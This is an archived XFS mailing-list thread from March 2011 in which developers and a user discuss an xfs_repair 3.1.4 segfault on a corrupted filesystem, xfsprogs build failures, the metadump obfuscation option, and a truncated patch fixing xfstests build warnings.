3.1.4 segfaults Subject: Re: corruption, xfs_repair 3.1.4 segfaults References: <20110302175818.GA8290@schmorp.de> In-Reply-To: <20110302175818.GA8290@schmorp.de> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1299251231 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57035 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/2/11 11:58 AM, Marc Lehmann wrote: > Hi! > > I had a case of filesystem corruption a day ago: > ... > I tried to use xfs_repair on it, but it crashes (and, as I may grudgingly > add, as usual it crashes because thats what xfsrepair does almost always). If you provide an xfs_metadump image of the filesystem, I'd be happy to look into the cause of the segfault. In my experience xfs_repair does not almost always crash, if you encounter this, please do send mail/file bugs/provide images. > Any idea on where to go from here? I tried to build the git xfsprogs, but > they don't build due to missing -fPIC - and as usual, thanks for any help :) Bug reports on build problems are welcome as well. Thanks, -Eric From schmorp@schmorp.de Fri Mar 4 10:29:09 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_47 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24GT8ef176318 for ; Fri, 4 Mar 2011 10:29:09 -0600 X-ASG-Debug-ID: 1299256318-513a03420000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.nethype.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5F5BD313D2A for ; Fri, 4 Mar 2011 08:31:58 -0800 (PST) Received: from mail.nethype.de (mail.nethype.de [78.47.73.129]) by cuda.sgi.com with ESMTP id Jz5YPHDKQ0KR4cIs for ; Fri, 04 Mar 2011 08:31:58 -0800 (PST) Received: from [10.0.0.5] (helo=doom.schmorp.de) by mail.nethype.de with esmtp (Exim 4.72) (envelope-from ) id 1PvXv3-0007d5-WA for xfs@oss.sgi.com; Fri, 04 Mar 2011 16:31:58 +0000 Received: from [10.0.0.1] (helo=cerebro.laendle) by doom.schmorp.de with esmtp (Exim 4.72) (envelope-from ) id 1PvXv3-0004Wk-Jb for xfs@oss.sgi.com; Fri, 04 Mar 2011 16:31:57 +0000 Received: from root by cerebro.laendle with local (Exim 4.72) (envelope-from ) id 1PvXv3-0000Zm-Oz for xfs@oss.sgi.com; Fri, 04 Mar 2011 17:31:57 +0100 Date: Fri, 4 Mar 2011 17:31:57 +0100 From: Marc Lehmann To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corruption, xfs_repair 3.1.4 segfaults Subject: Re: corruption, xfs_repair 3.1.4 segfaults Message-ID: <20110304163157.GA2030@schmorp.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4D71001D.2040506@sandeen.net> <20110304121407.065d9f17@harpe.intellique.com> X-PGP: "1024D/DA743396 1999-01-26 Marc Alexander Lehmann Key fingerprint = 475A FE9B D1D4 039E 01AC C217 A1E8 0270 DA74 3396" X-Barracuda-Connect: mail.nethype.de[78.47.73.129] X-Barracuda-Start-Time: 1299256319 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57040 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 04, 2011 at 12:14:07PM +0100, Emmanuel Florac wrote: > > I think that, no matter what the loop device would do, xfs_repair is > > - it simply shouldn't crash, no matter how corrupted the filesystem > > That's true. After you've copied everything, you could try using It seems only a single directory was not readable (which is a backup), so all data could be recovered. I am currently checking md5sums, but it seems that's indeed it. Which might make sense, as xfs_repair crashes after reading a XD2D block. The backtrace I get when using rsync to copy over files also supports this: http://ue.tst.eu/2bda1b4532cc66248763f723988093ce.txt > Lenny's xfs_repair (v 2.9.x IIRC). Just in case, it may do better. I will give that a shot, thanks for the hint, I will report back on this. On Fri, Mar 04, 2011 at 09:07:09AM -0600, Eric Sandeen wrote: > > I had a case of filesystem corruption a day ago: > > If you provide an xfs_metadump image of the filesystem, I'd be > happy to look into the cause of the segfault. That is the second thing that came to my mind, but this disk contains sensitive data, and as long as the anonymise/obfuscate option of xfs_metadump is broken (a simple hexdump reveals most of the filenames it's supposed to obfuscate), I unfortunately cannot. (the xfs_metadump -o bug has been reported in the past btw., if it's fixed in git I could give thta another try). > In my experience xfs_repair does not almost always crash, if you > encounter this, please do send mail/file bugs/provide images. Well, I did (as well as other people did), in the past, and the bugs that were reported wree fixed (For example, I stumbled over the problem of the xfs_repair livelock with threads, I stumbled over the problem of it not being able to repair corruption a number of times despite saying everything is ok and so on). So "crash" was indeed badly worded - "does not fix things or does not run to completion" is more correct. The fact remains that of reiserfs, ext2/3/4 and jfs, xfs has by far the lowest quality fsck, at least for me - each time I have some problem with an xfs filesystem, xfs_repair fails to repair it. It fortunately doesn't happen often, and is not necessarily a problem with xfs itself, but I am using reiserfs and ext2/3/4 and xfs all for a very long time, and of these, it's quite obvious that xfs_repair is much worse then the fsck tools of the others. -- The choice of a Deliantra, the free code+content MORPG -----==- _GNU_ http://www.deliantra.net ----==-- _ generation ---==---(_)__ __ ____ __ Marc Lehmann --==---/ / _ \/ // /\ \/ / schmorp@schmorp.de -=====/_/_//_/\_,_/ /_/\_\ From schmorp@schmorp.de Fri Mar 4 10:33:20 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.5 required=5.0 tests=BAYES_00,J_CHICKENPOX_13, J_CHICKENPOX_22,J_CHICKENPOX_47,J_CHICKENPOX_62 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24GXJNs176559 for ; Fri, 4 Mar 2011 10:33:20 -0600 X-ASG-Debug-ID: 1299256569-13f902940000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.nethype.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C38ADA99B02 for ; Fri, 4 Mar 2011 08:36:09 -0800 (PST) Received: from mail.nethype.de (mail.nethype.de [78.47.73.129]) by cuda.sgi.com with ESMTP id RgUXmRBLDA0QNrDp for ; Fri, 04 Mar 2011 08:36:09 -0800 (PST) Received: from [10.0.0.5] (helo=doom.schmorp.de) by mail.nethype.de with esmtp (Exim 4.72) (envelope-from ) id 1PvXz6-0007fB-Kr for xfs@oss.sgi.com; Fri, 04 Mar 2011 16:36:08 +0000 Received: from [10.0.0.1] (helo=cerebro.laendle) by doom.schmorp.de with esmtp (Exim 4.72) (envelope-from ) id 1PvXz6-0005iR-G6 for xfs@oss.sgi.com; Fri, 04 Mar 2011 16:36:08 +0000 Received: from root by cerebro.laendle with local (Exim 4.72) (envelope-from ) id 1PvXz6-0001zq-Mo for xfs@oss.sgi.com; Fri, 04 Mar 2011 17:36:08 +0100 Date: Fri, 4 Mar 2011 17:36:08 +0100 From: Marc Lehmann To: xfs@oss.sgi.com X-ASG-Orig-Subj: git xfsprogs don't build Subject: git xfsprogs don't build Message-ID: <20110304163608.GB2030@schmorp.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-PGP: "1024D/DA743396 1999-01-26 Marc Alexander Lehmann Key fingerprint = 475A FE9B D1D4 039E 01AC C217 A1E8 0270 DA74 3396" X-Barracuda-Connect: mail.nethype.de[78.47.73.129] X-Barracuda-Start-Time: 1299256570 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57041 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > Bug reports on build problems are welcome as well. When I try to build a git clone clone from two days ago, I get this on amd64: [...] [LD] libxfs.la /usr/bin/ld: .libs/xfs_bmap.o: relocation R_X86_64_PC32 against undefined symbol `xfs_bmap_check_leaf_extents' can not be used when making a shared object; recompile with -fPIC /usr/bin/ld: final link failed: Bad value collect2: ld returned 1 exit status make[2]: *** [libxfs.la] Error 1 That almost certainly means somebody tried to build a shared object or library with some object file compiled without -fPIC. In 32 bit (which wouldn't have that limitation), I get these: [...] Building copy [DEP] [CC] xfs_copy.o [LD] xfs_copy ../libxfs/.libs/libxfs.a(xfs_ialloc.o): In function `xfs_dilocate': /tmp/xfsprogs/libxfs/xfs_ialloc.c:1087: undefined reference to `xfs_stack_trace' ../libxfs/.libs/libxfs.a(xfs_inode.o): In function `xfs_validate_extents': /tmp/xfsprogs/libxfs/xfs_inode.c:45: undefined reference to `get_unaligned' /tmp/xfsprogs/libxfs/xfs_inode.c:46: undefined reference to `get_unaligned' ../libxfs/.libs/libxfs.a(xfs_inode.o): In function `xfs_imap_to_bp': /tmp/xfsprogs/libxfs/xfs_inode.c:146: undefined reference to `XFS_BUFTARG_NAME' ../libxfs/.libs/libxfs.a(xfs_bmap.o): In function `xfs_bmap_add_extent': /tmp/xfsprogs/libxfs/xfs_bmap.c:650: undefined reference to `xfs_bmap_check_leaf_extents' ../libxfs/.libs/libxfs.a(xfs_bmap.o): In function `xfs_bmapi': /tmp/xfsprogs/libxfs/xfs_bmap.c:4848: undefined reference to `xfs_bmap_validate_ret' collect2: ld returned 1 exit status make[2]: *** [xfs_copy] Error 1 make[1]: *** [copy] Error 2 make: *** [default] Error 2 This is the cofnigure output of the 32 bit build: debian32 /tmp/xfsprogs# ./configure checking build system type... i686-pc-linux-gnu checking host system type... i686-pc-linux-gnu checking for gcc... gcc checking whether the C compiler works... yes checking for C compiler default output file name... a.out checking for suffix of executables... checking whether we are cross compiling... no checking for suffix of object files... o checking whether we are using the GNU C compiler... yes checking whether gcc accepts -g... yes checking for gcc option to accept ISO C89... none needed checking for a sed that does not truncate output... /bin/sed checking for grep that handles long lines and -e... /bin/grep checking for egrep... /bin/grep -E checking for fgrep... /bin/grep -F checking for ld used by gcc... /usr/bin/ld checking if the linker (/usr/bin/ld) is GNU ld... yes checking for BSD- or MS-compatible name lister (nm)... /usr/bin/nm -B checking the name lister (/usr/bin/nm -B) interface... BSD nm checking whether ln -s works... yes checking the maximum length of command line arguments... 6144000 checking whether the shell understands some XSI constructs... yes checking whether the shell understands "+="... yes checking for /usr/bin/ld option to reload object files... -r checking for objdump... objdump checking how to recognize dependent libraries... pass_all checking for ar... ar checking for strip... strip checking for ranlib... ranlib checking command to parse /usr/bin/nm -B output from gcc object... ok checking how to run the C preprocessor... gcc -E checking for ANSI C header files... yes checking for sys/types.h... yes checking for sys/stat.h... yes checking for stdlib.h... yes checking for string.h... yes checking for memory.h... yes checking for strings.h... yes checking for inttypes.h... yes checking for stdint.h... yes checking for unistd.h... yes checking for dlfcn.h... yes checking for objdir... .libs checking if gcc supports -fno-rtti -fno-exceptions... no checking for gcc option to produce PIC... -fPIC -DPIC checking if gcc PIC flag -fPIC -DPIC works... yes checking if gcc static flag -static works... yes checking if gcc supports -c -o file.o... yes checking if gcc supports -c -o file.o... (cached) yes checking whether the gcc linker (/usr/bin/ld) supports shared libraries... yes checking whether -lc should be explicitly linked in... no checking dynamic linker characteristics... GNU/Linux ld.so checking how to hardcode library paths into programs... immediate checking whether stripping libraries is possible... yes checking if libtool supports shared libraries... yes checking whether to build shared libraries... yes checking whether to build static libraries... yes checking for gcc... (cached) gcc checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ISO C89... (cached) none needed checking for gcc... (cached) gcc checking whether we are using the GNU C compiler... (cached) yes checking whether gcc accepts -g... (cached) yes checking for gcc option to accept ISO C89... (cached) none needed checking for gmake... no checking for make... /usr/bin/make checking for tar... /bin/tar checking for gzip... /bin/gzip checking whether gcc -MM is supported... yes checking for awk... /usr/bin/awk checking for sort... /usr/bin/sort checking whether ln -s works... yes checking for msgfmt... /usr/bin/msgfmt checking for msgmerge... /usr/bin/msgmerge checking for xgettext... /usr/bin/xgettext checking for rpm... /usr/bin/rpm checking for rpmbuild... /usr/bin/rpmbuild checking aio.h usability... yes checking aio.h presence... yes checking for aio.h... yes checking for lio_listio... no checking for lio_listio in -lrt... yes checking uuid.h usability... no checking uuid.h presence... no checking for uuid.h... no checking sys/uuid.h usability... no checking sys/uuid.h presence... no checking for sys/uuid.h... no checking uuid/uuid.h usability... yes checking uuid/uuid.h presence... yes checking for uuid/uuid.h... yes checking for uuid_compare... no checking for uuid_compare in -luuid... yes checking pthread.h usability... yes checking pthread.h presence... yes checking for pthread.h... yes checking for pthread_mutex_init in -lpthread... yes checking for fadvise ... yes checking for madvise ... yes checking for mincore ... yes checking for sendfile ... yes checking for getmntent ... yes checking for getmntinfo ... no checking for fallocate... yes checking for library containing blkid_probe_all... no checking for blkid_probe_get_topology... no checking for __psint_t ... no checking for __psunsigned_t ... no checking for __u32 ... yes checking size of long... 4 checking size of char *... 4 configure: creating ./config.status config.status: creating include/builddefs config.status: creating include/platform_defs.h config.status: executing libtool commands -- The choice of a Deliantra, the free code+content MORPG -----==- _GNU_ http://www.deliantra.net ----==-- _ generation ---==---(_)__ __ ____ __ Marc Lehmann --==---/ / _ \/ // /\ \/ / schmorp@schmorp.de -=====/_/_//_/\_,_/ /_/\_\ From schmorp@schmorp.de Fri Mar 4 11:27:33 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_45, J_CHICKENPOX_47 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24HRWJY179403 for ; Fri, 4 Mar 2011 11:27:33 -0600 X-ASG-Debug-ID: 1299259823-264c008c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.nethype.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 44E11A9B9A8 for ; Fri, 4 Mar 2011 09:30:23 -0800 (PST) Received: from mail.nethype.de (mail.nethype.de [78.47.73.129]) by cuda.sgi.com with ESMTP id ZVAECjRFDenDCCks for ; Fri, 04 Mar 2011 09:30:23 -0800 (PST) Received: from [10.0.0.5] (helo=doom.schmorp.de) by mail.nethype.de with esmtp (Exim 4.72) (envelope-from ) id 1PvYpa-00033e-7R for xfs@oss.sgi.com; Fri, 04 Mar 2011 17:30:22 +0000 Received: from [10.0.0.1] (helo=cerebro.laendle) by doom.schmorp.de with esmtp (Exim 4.72) (envelope-from ) id 1PvYpa-0001UG-40 for xfs@oss.sgi.com; Fri, 04 Mar 2011 17:30:22 +0000 Received: from root by cerebro.laendle with local (Exim 4.72) (envelope-from ) id 1PvYpa-00024T-1E for xfs@oss.sgi.com; Fri, 04 Mar 2011 18:30:22 +0100 Date: Fri, 4 Mar 2011 18:30:22 +0100 From: Marc Lehmann To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corruption, xfs_repair 3.1.4 segfaults, xfs_repair 2.9.8 works Subject: Re: corruption, xfs_repair 3.1.4 segfaults, xfs_repair 2.9.8 works Message-ID: <20110304173021.GA7912@schmorp.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4D71001D.2040506@sandeen.net> <20110304121407.065d9f17@harpe.intellique.com> X-Barracuda-Connect: mail.nethype.de[78.47.73.129] X-Barracuda-Start-Time: 1299259824 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0719 1.0000 -1.5633 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.56 X-Barracuda-Spam-Status: No, SCORE=-1.56 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 04, 2011 at 12:14:07PM +0100, Emmanuel Florac wrote: > Lenny's xfs_repair (v 2.9.x IIRC). Just in case, it may do better. It did, and with a lot fewer scary messages (no -P or -m was necessary): http://ue.tst.eu/f3860347ab2147d87fdf8f961d6d4358.txt afterwards, I had the contents of the single directory that caused issues in lost+found, and no unreadable directories left. So definitely a regression in 3.1.4. Thanks a lot for your all your input - I will reformat the partition soon and restore the files, assuming that the lenny xfs_repair destroyed any evidence. -- The choice of a Deliantra, the free code+content MORPG -----==- _GNU_ http://www.deliantra.net ----==-- _ generation ---==---(_)__ __ ____ __ Marc Lehmann --==---/ / _ \/ // /\ \/ / schmorp@schmorp.de -=====/_/_//_/\_,_/ /_/\_\ From eflorac@intellique.com Fri Mar 4 12:14:39 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_45 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24IEdF1181250 for ; Fri, 4 Mar 2011 12:14:39 -0600 X-ASG-Debug-ID: 1299262645-264f023b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp4-g21.free.fr (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A7C53A85E61 for ; Fri, 4 Mar 2011 10:17:26 -0800 (PST) Received: from smtp4-g21.free.fr (smtp4-g21.free.fr [212.27.42.4]) by cuda.sgi.com with ESMTP id aHnMFzAGEFfeb68X for ; Fri, 04 Mar 2011 10:17:26 -0800 (PST) Received: from harpe.intellique.com (unknown [82.225.196.72]) by smtp4-g21.free.fr (Postfix) with ESMTP id 32E6B4C824D; Fri, 4 Mar 2011 19:17:20 +0100 (CET) Date: Fri, 4 Mar 2011 19:17:29 +0100 From: Emmanuel Florac To: Marc Lehmann Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corruption, xfs_repair 3.1.4 segfaults, xfs_repair 2.9.8 works Subject: Re: corruption, xfs_repair 3.1.4 segfaults, xfs_repair 2.9.8 works Message-ID: <20110304191729.541f09a0@harpe.intellique.com> In-Reply-To: <20110304173021.GA7912@schmorp.de> References: <20110304121407.065d9f17@harpe.intellique.com> <20110304173021.GA7912@schmorp.de> Organization: Intellique X-Mailer: Claws Mail 3.7.3 (GTK+ 2.16.6; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp4-g21.free.fr[212.27.42.4] X-Barracuda-Start-Time: 1299262648 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0076 1.0000 -1.9714 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.97 X-Barracuda-Spam-Status: No, SCORE=-1.97 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57047 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Le Fri, 4 Mar 2011 18:30:22 +0100 Marc Lehmann =E9crivait: > http://ue.tst.eu/f3860347ab2147d87fdf8f961d6d4358.txt >=20 > afterwards, I had the contents of the single directory that caused > issues in lost+found, and no unreadable directories left. Quite expected, given the corrupted directory. =20 > So definitely a regression in 3.1.4. Yes. I'll keep a 2.9.x xfs_repair at hand for a while I guess :) --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From sandeen@sandeen.net Fri Mar 4 13:15:29 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JFSof183637 for ; Fri, 4 Mar 2011 13:15:29 -0600 X-ASG-Debug-ID: 1299266298-68ee03620000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id BC6EE10A795C for ; Fri, 4 Mar 2011 11:18:18 -0800 (PST) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id D0kKW70az8uVcJfd for ; Fri, 04 Mar 2011 11:18:18 -0800 (PST) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id 66C0848F6E26; Fri, 4 Mar 2011 13:18:17 -0600 (CST) Message-ID: <4D713AF9.4050101@sandeen.net> Date: Fri, 04 Mar 2011 13:18:17 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110221 Thunderbird/3.1.8 MIME-Version: 1.0 To: Marc Lehmann CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corruption, xfs_repair 3.1.4 segfaults Subject: Re: corruption, xfs_repair 3.1.4 segfaults References: <20110304163157.GA2030@schmorp.de> In-Reply-To: <20110304163157.GA2030@schmorp.de> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1299266299 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57051 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/4/11 10:31 AM, Marc Lehmann wrote: > On Fri, Mar 04, 2011 at 09:07:09AM -0600, Eric Sandeen wrote: >>> I had a case of filesystem corruption a day ago: >> >> If you provide an xfs_metadump image of the filesystem, I'd be >> happy to look into the cause of the segfault. > > That is the second thing that came to my mind, but this disk contains > sensitive data, and as long as the anonymise/obfuscate option of xfs_metadump > is broken (a simple hexdump reveals most of the filenames it's supposed to > obfuscate), I unfortunately cannot. Do you have a lot of short names? It should be obfuscating the others just fine. Otherwise, Alex has been working on the obfuscation, maybe he can give you some pointers. BTW no need to run hexdump; you can xfs_mdrestore the dump, and loopback mount it, and do a find to see what filenames are there. (unless you mean the clear names are seen in hexdump but not on the mounted, restored fs? If so that's a new and interesting problem). > (the xfs_metadump -o bug has been reported in the past btw., if it's fixed > in git I could give thta another try). well... "-o" DISABLEs obfuscation. If you use it and see all filenames, that is exactly as it should be working ;) Don't use -o if you want obfuscation (I know, it seems a little backwards to me too). >> In my experience xfs_repair does not almost always crash, if you >> encounter this, please do send mail/file bugs/provide images. > > Well, I did (as well as other people did), in the past, and the bugs > that were reported wree fixed (For example, I stumbled over the problem > of the xfs_repair livelock with threads, I stumbled over the problem of > it not being able to repair corruption a number of times despite saying > everything is ok and so on). > > So "crash" was indeed badly worded - "does not fix things or does not run to > completion" is more correct. well, keep reporting them, and with metadumps when possible. > The fact remains that of reiserfs, ext2/3/4 and jfs, xfs has by far the > lowest quality fsck, at least for me - each time I have some problem with an > xfs filesystem, xfs_repair fails to repair it. I think that's unique to you ;) but it also depends on your definition of "quality." Of course, properly completing repair is a fair definition! Really, these things need to be reported, triaged, and fixed. If the confusion over metadump was the proper usage of "-o" then perhaps you will be able to submit some of your unfixable corruptions. -Eric > It fortunately doesn't happen often, and is not necessarily a problem with > xfs itself, but I am using reiserfs and ext2/3/4 and xfs all for a very > long time, and of these, it's quite obvious that xfs_repair is much worse > then the fsck tools of the others. From aelder@sgi.com Fri Mar 4 13:34:44 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.6 required=5.0 tests=BAYES_00,J_CHICKENPOX_43, J_CHICKENPOX_52,J_CHICKENPOX_62 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JYhTR184490 for ; Fri, 4 Mar 2011 13:34:43 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay3.corp.sgi.com (Postfix) with ESMTP id 558FAAC001; Fri, 4 Mar 2011 11:37:32 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24JbVYi004806; Fri, 4 Mar 2011 13:37:31 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24JbVtP004804; Fri, 4 Mar 2011 13:37:31 -0600 From: Alex Elder Message-Id: <201103041937.p24JbVtP004804@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 13:37:31 -0600 To: xfs@oss.sgi.com Subject: [PATCH] xfstests: fix a few build warnings User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean This patch fixes a few build warnings. I have built the code using i386, x86_64, and ia64 architectures and each has ends up with complaints of one sort or anther. This gets rid of all of them *except* those reported by files under the "ltp" (Linux Test Project) sub-tree. Signed-off-by: Alex Elder --- lib/tlibio.c | 2 +- src/aio-dio-regress/aiodio_sparse2.c | 3 ++- src/pwrite_mmap_blocked.c | 3 ++- src/unwritten_sync.c | 4 +++- src/xfsctl.c | 2 ++ 5 files changed, 10 insertions(+), 4 deletions(-) Index: b/lib/tlibio.c =================================================================== --- a/lib/tlibio.c +++ b/lib/tlibio.c @@ -453,7 +453,7 @@ int lio_random_methods(long curr_mask) { int mask=0; - long random_bit(); + long random_bit(long); /* remove random select, io type, and wait method bits from curr_mask */ mask = curr_mask & (~(LIO_IO_TYPES | LIO_WAIT_TYPES | LIO_RANDOM)); Index: b/src/aio-dio-regress/aiodio_sparse2.c =================================================================== --- a/src/aio-dio-regress/aiodio_sparse2.c +++ b/src/aio-dio-regress/aiodio_sparse2.c @@ -227,7 +227,8 @@ void aiodio_sparse(char *filename, int a unsigned char *badbuf; if (debug) - fprintf(stderr, "seek to %ld and read %d\n", offset, writesize); + fprintf(stderr, "seek to %lld and read %d\n", + (long long) offset, writesize); lseek(fd, offset, SEEK_SET); if (read(fd, bufptr, writesize) < writesize) { fprintf(stderr, "short read() at offset %lld\n", Index: b/src/pwrite_mmap_blocked.c =================================================================== --- a/src/pwrite_mmap_blocked.c +++ b/src/pwrite_mmap_blocked.c @@ -59,7 +59,8 @@ int main(int argc, char *argv[]) perror("mmap"); exit(1); } - printf("pwrite %Ld bytes from %Ld to %Ld\n", amount, from, to); + printf("pwrite %Ld bytes from %Ld to %Ld\n", + (long long) amount, (long long) from, (long long) to); ret = pwrite(fd, (char *)mapped_mem + from, amount, to); if (ret != amount) { Index: b/src/unwritten_sync.c =================================================================== --- a/src/unwritten_sync.c +++ b/src/unwritten_sync.c @@ -136,7 +136,9 @@ 